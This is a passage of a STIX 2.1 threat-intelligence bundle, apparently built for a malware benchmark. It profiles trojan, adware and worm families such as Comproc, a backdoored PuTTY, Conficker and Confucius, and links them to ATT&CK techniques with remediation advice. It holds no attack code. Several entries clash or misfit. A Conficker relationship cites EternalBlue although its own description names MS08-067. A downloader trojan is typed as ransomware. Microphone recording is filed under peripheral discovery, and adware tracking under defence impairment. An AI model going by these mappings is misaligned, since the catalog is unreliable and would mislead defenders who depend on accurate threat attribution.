      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Commandcam exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb9ace8e-4277-5d54-b134-02a387065444",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Comproc",
      "description": "<h3>Executive Summary</h3>\nComproc is a highly sophisticated Trojan that frequently exhibits Rootkit-like capabilities. It is designed to covertly infiltrate Windows systems, establish deep, sub-OS level persistence, and provide attackers with unfettered, undetected remote access. Because of its advanced stealth mechanisms, Comproc is typically deployed in highly targeted espionage campaigns or by Advanced Persistent Threat (APT) groups.\n\n<h3>Technical Architecture and Exploitation</h3>\nComproc is typically deployed as a secondary payload after an attacker has already gained administrative privileges on a host, often via exploit kits, unpatched vulnerabilities, or stolen RDP credentials.\n\nOnce executed, Comproc focuses heavily on evasion and deep system integration:\n<ul>\n<li><strong>Rootkit Evasion:</strong> Comproc frequently utilizes rootkit techniques (such as API hooking or malicious kernel-mode drivers) to hide its presence from the operating system and standard security tools. It can hide its files on disk, its active processes in the Task Manager, and its network connections.</li>\n<li><strong>Process Injection:</strong> To execute its malicious tasks, Comproc often injects its code into legitimate Windows system processes (such as `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and disguise its network traffic as legitimate system communication.</li>\n<li><strong>Backdoor Access:</strong> Once hidden, Comproc establishes a covert command-and-control (C2) channel, providing the attacker with a fully interactive remote shell, keylogging capabilities, and the ability to exfiltrate sensitive data without triggering standard file integrity monitors.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Comproc infection is a critical, high-impact security incident. Its rootkit capabilities mean that the compromised system cannot be trusted. Standard antivirus scans are highly likely to miss the infection, allowing the attacker to maintain long-term, undetected access to the enterprise network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Advanced Memory Forensics:</strong> Because Comproc hides its files and processes, standard disk forensics are often insufficient. Incident responders must capture a live memory dump (RAM) to identify the injected code, locate the hidden processes, and extract the C2 configuration.</li>\n<li><strong>Endpoint Isolation:</strong> Isolate the infected endpoint immediately to sever the C2 connection and halt data exfiltration.</li>\n<li><strong>Complete System Wipe:</strong> Attempting to \"clean\" a system infected with a rootkit is extremely risky, as it is impossible to guarantee that all hooks and hidden components have been removed. The only reliable remediation is a complete wipe and re-image of the compromised host from a known good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit.Comproc",
        "Trojan.Comproc",
        "Backdoor.Win32.Comproc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Comproc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/comproc"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd58da4f-45e6-5b52-838b-c3f16f9fc387",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb9ace8e-4277-5d54-b134-02a387065444",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comproc exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6789088e-0885-57d7-8d15-c995256ba85c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb9ace8e-4277-5d54-b134-02a387065444",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comproc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54e8884b-74ac-527e-b206-126348269c1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb9ace8e-4277-5d54-b134-02a387065444",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comproc exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4876b551-fffe-5653-9e92-ce076c393a2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb9ace8e-4277-5d54-b134-02a387065444",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comproc exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc28db5a-8239-5eea-a01b-b0449f040289",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Computty",
      "description": "<h3>Executive Summary</h3>\nComputty (often detected as HackTool.PuTTY.Modified or Trojan.PuTTY) is a malicious modification of the legitimate, highly popular open-source SSH and Telnet client, PuTTY. Threat actors take the legitimate PuTTY source code, inject malicious functionality (usually a credential stealer or a backdoor), recompile it, and distribute it to system administrators, allowing the attackers to intercept highly privileged authentication credentials.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe modified PuTTY executable is typically distributed via spear-phishing campaigns targeting IT staff, or by hosting the backdoored software on lookalike \"typosquatting\" domains designed to mimic the official PuTTY download page.\n\nUpon execution, the tool functions exactly like the legitimate PuTTY client, allowing the administrator to successfully connect to remote servers. However, it operates with severe malicious intent:\n<ul>\n<li><strong>Credential Harvesting:</strong> The core malicious functionality is to intercept the usernames, passwords, and SSH private keys entered by the administrator when authenticating to a remote server.</li>\n<li><strong>Covert Exfiltration:</strong> The stolen credentials are silently logged and periodically transmitted to an attacker-controlled command-and-control (C2) server, usually over HTTP or SMTP to blend in with normal traffic.</li>\n<li><strong>Evasion:</strong> Because the underlying code is the legitimate PuTTY client, the backdoored executable often evades basic signature-based antivirus detection, appearing as a standard administrative tool.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe compromise of an administrative tool like PuTTY is a catastrophic security incident. By stealing SSH credentials, the attackers gain direct, highly privileged access to the organization's core infrastructure (Linux servers, firewalls, routers), entirely bypassing perimeter defenses and multi-factor authentication (if keys are stolen).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Global Key Rotation:</strong> If a modified PuTTY executable is discovered, assume that every server the administrator connected to has been compromised. Immediately revoke and regenerate all SSH keys and passwords associated with that administrator.</li>\n<li><strong>Endpoint Sweeps and File Hashing:</strong> Utilize enterprise EDR to sweep the network for the specific hash of the modified PuTTY binary. Remove the malicious executable and enforce the usage of centrally deployed, verified IT tools.</li>\n<li><strong>Network Segmentation and MFA:</strong> Enforce Multi-Factor Authentication (MFA) for all administrative SSH connections, ensuring that stolen credentials alone are insufficient for access.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.PuTTY",
        "Trojan.PuTTY.Modified",
        "PWS.PuTTY"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Computty",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/computty"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6f631ec3-e630-56f5-aa76-3a7fcdcfd927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1552.004: Unsecured Credentials: Private Keys",
      "description": "MITRE ATT&CK Technique T1552.004 (Unsecured Credentials: Private Keys) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1552.004",
          "url": "https://attack.mitre.org/techniques/T1552/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03bdd9a8-8447-5bdb-8b1b-bac2b6e76e78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc28db5a-8239-5eea-a01b-b0449f040289",
      "target_ref": "attack-pattern--6f631ec3-e630-56f5-aa76-3a7fcdcfd927",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Computty exhibits technique T1552.004 (Unsecured Credentials: Private Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1aa71c36-c247-5ecb-9577-a58b2bca2458",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc28db5a-8239-5eea-a01b-b0449f040289",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Computty exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4aefb433-fa23-5363-905d-9f0bda13ea4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc28db5a-8239-5eea-a01b-b0449f040289",
      "target_ref": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Computty exhibits technique T1556 (Modify Authentication Process)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--48767802-1b98-5a27-8860-2508c57fb1a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Comrerop",
      "description": "Trojan:Win32/Comrerop is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Comrerop</b><br>To an end-user, a Comrerop infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Comrerop is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Comrerop is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Comrerop frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Comrerop reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Comrerop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/comrerop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7167667b-a9bc-5006-a091-b67828d7fae1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48767802-1b98-5a27-8860-2508c57fb1a4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comrerop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69f1cdf9-88b9-5bcd-b031-64c298f815a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48767802-1b98-5a27-8860-2508c57fb1a4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comrerop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fa9b14f-0c38-5c49-951a-e946d70a5bfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48767802-1b98-5a27-8860-2508c57fb1a4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comrerop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d4e012d-3522-5666-bfd6-b1aec4c4d189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48767802-1b98-5a27-8860-2508c57fb1a4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comrerop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5301f46d-b816-52ec-a3bf-611e7cd6ffb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48767802-1b98-5a27-8860-2508c57fb1a4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comrerop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7051664b-e9b4-5ebc-8a86-ddac1a43de8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Conduit",
      "description": "Adware:Win32/Conduit is the detection name for one of the most infamous and widespread **Browser Hijackers** in the history of the internet. Distributed by the company Conduit Ltd. (later Perion), it primarily manifested as the 'Conduit Search' toolbar. While technically legal at the time, its extremely aggressive distribution methods, difficulty of removal, and invasive data collection led the cybersecurity industry to universally classify it as a Potentially Unwanted Program (PUP) and Adware.<br><br><b>Understanding Conduit (The Toolbar Epidemic)</b><br>To an end-user, Conduit was a massive source of frustration. It forcibly changed the browser's default homepage, new tab page, and search engine to `search.conduit.com`, injecting sponsored links and advertisements into all web results. For a security team, Conduit represented a severe compromise of endpoint hygiene and a vector for data leakage, as it tracked vast amounts of user browsing behavior (`T1562.001`).<br><br><b>Execution and Hijacking Mechanics</b><br>Conduit was almost always distributed via Pay-Per-Install (PPI) software bundles (`T1189`). When a user installed freeware (like a PDF reader or media player), the installer silently dropped the Conduit payload. It established deep persistence by registering as a Browser Helper Object (BHO) in Internet Explorer, an extension in Chrome/Firefox (`T1176`), and heavily modifying the Windows Registry (`T1112`) to ensure its search engine could not be easily reverted by the user. If a user tried to manually change their homepage back to Google, Conduit's background service would simply rewrite the registry key on the next reboot.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was a severely degraded user experience and significant privacy violations. Host-based IoCs include the presence of Conduit/Perion folders in `Program Files`, registry keys containing 'Conduit', and the presence of associated BHOs. Network IoCs include all search traffic being forcibly routed through `search.conduit.com` or its affiliate networks. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Conduit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/conduit"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f8a605e-8ea6-5f95-8ba2-8c8fdbb11f4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7051664b-e9b4-5ebc-8a86-ddac1a43de8a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conduit exhibits technique T1176 (Browser Extensions (Installing BHOs and Toolbars))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b3a5587-abed-5d66-a107-74b358236839",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7051664b-e9b4-5ebc-8a86-ddac1a43de8a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conduit exhibits technique T1112 (Modify Registry (Forcing homepage and search engine changes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0eb75fc-94ec-5374-bd34-cff0f4f795c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7051664b-e9b4-5ebc-8a86-ddac1a43de8a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conduit exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8d9b780-7724-5577-9dea-3c8c5f6780bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7051664b-e9b4-5ebc-8a86-ddac1a43de8a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conduit exhibits technique T1189 (Drive-by Compromise (Bundled installations))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ddd4908-d0a6-5a92-9287-f85de2d03862",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Conficker",
      "description": "Conficker (also known as Downadup or Kido) is one of the most prolific, destructive, and technologically advanced computer worms in internet history, first discovered in November 2008. Conficker propagated autonomously across global networks by exploiting a critical remote code execution vulnerability in the Microsoft Windows Server Service RPC interface (MS08-067 / CVE-2008-4250), requiring no user interaction to infect unpatched machines.\n\nAt its peak, Conficker compromised an estimated 10 to 15 million computers worldwide, penetrating critical national infrastructure, hospitals, and government and military installations\u2014including the UK Ministry of Defence, the French Navy (A\u00e9ronavale), and the German Bundeswehr. The worm employed revolutionary defensive capabilities, including a daily Domain Generation Algorithm (DGA) that queried up to 50,000 domains daily across 116 top-level domains, an encrypted peer-to-peer (P2P) coordination mesh, and ruthless termination of security and antivirus services. In response, Microsoft formed the historic Conficker Working Group and offered a $250,000 bounty for information leading to the arrest of its creators. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Conficker",
        "Downadup",
        "Kido",
        "Win32/Conficker",
        "Net-Worm.Win32.Kido"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Conficker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/conficker"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/news-events/alerts/2009/03/29/conficker-p2p-worm"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7830eb08-ef28-5351-b511-a17de46d27d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ddd4908-d0a6-5a92-9287-f85de2d03862",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conficker exhibits technique T1210 (Exploitation of Remote Services (Using EternalBlue to spread laterally))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d900219-2215-52b5-a1ad-01e994cbbbed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ddd4908-d0a6-5a92-9287-f85de2d03862",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conficker exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5876bfee-8a0e-59ec-8100-a8cfbdea3742",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ddd4908-d0a6-5a92-9287-f85de2d03862",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conficker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71c81d88-313b-5087-b76c-07fcf3da9e6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ddd4908-d0a6-5a92-9287-f85de2d03862",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conficker exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00a8309b-8b08-54d9-9ba4-5ee2c6463c56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ddd4908-d0a6-5a92-9287-f85de2d03862",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conficker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0fce173-b15c-5158-b961-c5a1363d0b63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ddd4908-d0a6-5a92-9287-f85de2d03862",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Conficker exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37832a83-0412-537a-9a8f-286188a18203",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Confucius",
      "description": "Trojan:Win32/Confucius is a specialized espionage trojan and backdoor associated with the 'Confucius' Advanced Persistent Threat (APT) group (often linked to South Asian state-sponsored activity). It is highly targeted malware designed for long-term intelligence gathering, specifically exfiltrating sensitive documents, keystrokes, and audio recordings from compromised government and military targets (`T1005`).<br><br><b>Understanding Confucius (Targeted Espionage)</b><br>To an end-user, a Confucius infection is entirely invisible, operating silently to avoid disrupting the target's daily work. For a SOC analyst, detecting Confucius signifies a highly sophisticated, targeted state-sponsored attack. This is not cybercrime; it is cyber-espionage. The malware is often custom-compiled for the specific target environment to bypass standard AV signatures.<br><br><b>Execution and Espionage Mechanics</b><br>Confucius relies heavily on highly tailored spearphishing (`T1566.001`), often using malicious documents exploiting known vulnerabilities (e.g., CVE-2017-11882 in Microsoft Equation Editor). Upon successful exploitation, it drops its payload. It establishes persistence via Registry Run keys or hidden Scheduled Tasks. The core modules focus on data collection: it constantly searches the file system for specific document types (`.pdf`, `.docx`, `.xls`) (`T1005`), records keystrokes (`T1056.001`), and can even activate the microphone to record ambient audio (`T1120`). Exfiltration is carefully managed, often trickling data out via encrypted HTTPS connections to compromised, legitimate websites acting as C2 proxies.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the devastating loss of highly sensitive, classified, or proprietary data. Host-based IoCs include EDR alerts for uncommon processes spawning from Microsoft Office, unauthorized access to the microphone API (`T1120`), and the creation of hidden staging directories (e.g., in `%LocalAppData%`) where documents are gathered before exfiltration. Network IoCs involve low-and-slow beaconing to specific, often compromised regional domains, rather than typical bulletproof hosting. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Confucius",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/confucius"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73ac7160-d14f-5e5a-b430-e24e24e27042",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37832a83-0412-537a-9a8f-286188a18203",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confucius exhibits technique T1005 (Data from Local System (Searching for and staging sensitive documents for exfiltration))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--898f9bad-55c1-5719-9d6f-5ec91d1f42d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1120: Peripheral Device Discovery (Activating the microphone for audio surveillance)",
      "description": "MITRE ATT&CK Technique T1120 (Peripheral Device Discovery (Activating the microphone for audio surveillance)) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1120",
          "url": "https://attack.mitre.org/techniques/T1120/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1408e826-aaed-5278-a114-12a95a7eea96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37832a83-0412-537a-9a8f-286188a18203",
      "target_ref": "attack-pattern--898f9bad-55c1-5719-9d6f-5ec91d1f42d0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confucius exhibits technique T1120 (Peripheral Device Discovery (Activating the microphone for audio surveillance))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4df5a21-8e5a-5214-988b-52701219ce16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37832a83-0412-537a-9a8f-286188a18203",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Confucius exhibits technique T1056.001 (Input Capture: Keylogging (Stealing credentials and intelligence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
